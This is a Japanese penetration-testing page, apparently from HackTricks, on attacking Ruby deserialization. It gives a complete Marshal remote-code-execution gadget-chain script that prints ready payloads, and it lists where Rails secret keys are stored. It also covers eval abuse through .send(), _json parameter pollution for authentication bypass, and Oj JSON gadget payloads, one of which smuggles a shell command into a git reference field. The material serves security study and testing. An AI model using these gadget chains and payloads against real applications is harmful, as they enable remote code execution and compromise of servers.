Rubyでは、シリアライズはmarshalライブラリ内の2つのメソッドによって実現されます。最初のメソッドはdumpとして知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアライズと呼ばれます。逆に、2番目のメソッドloadは、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。

シリアライズされたオブジェクトを保護するために、**RubyはHMACHash-Based Message Authentication Code**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン詳細は https://www.elttam.com/blog/ruby-deserialization/:

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

他のRCEチェーンを利用してRuby On Railsを攻撃する: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() メソッド

この脆弱性レポートで説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの.send()メソッドに到達すると、このメソッドはオブジェクトの他の任意のメソッドを任意のパラメータで呼び出すことを可能にします。

例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:

<Object>.send('eval', '<user input with Ruby code>') == RCE

さらに、.send() のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、引数を必要としないか、デフォルト値を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。
これを実現するために、その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙することが可能です。

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Rubyクラス汚染

Rubyクラスを汚染し、ここでそれを悪用する方法を確認してください

Ruby _json汚染

ボディに配列のようなハッシュ化できない値を送信すると、それらは新しいキー_jsonに追加されます。しかし、攻撃者はボディに任意の値を持つ_jsonという値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後_jsonパラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。

Ruby _json汚染ページで詳細情報を確認してください

その他のライブラリ

この技術はこのブログ投稿から取得されました。

オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています基本的にRCEを得るために悪用する関数

ライブラリ入力データクラス内のキックオフメソッド
Marshal (Ruby)バイナリ_load
OjJSONhash(クラスはハッシュ(マップ)のキーとして配置する必要があります)
OxXMLhash(クラスはハッシュ(マップ)のキーとして配置する必要があります)
Psych (Ruby)YAMLhash(クラスはハッシュ(マップ)のキーとして配置する必要があります)
init_with
JSON (Ruby)JSONjson_create[json_createに関するートを最後に参照](#table-vulnerable-sinks)

基本的な例:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Ojを悪用しようとした場合、hash関数内でto_sを呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になりました。これにより、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器が得られました。

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

さらに、前述の技術を使用すると、システムにフォルダーが作成されることがわかりました。これは、別のガジェットを悪用してこれを完全なRCEに変換するための要件です。

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

詳細については、元の投稿を確認してください。

{{#include ../../banners/hacktricks-training.md}}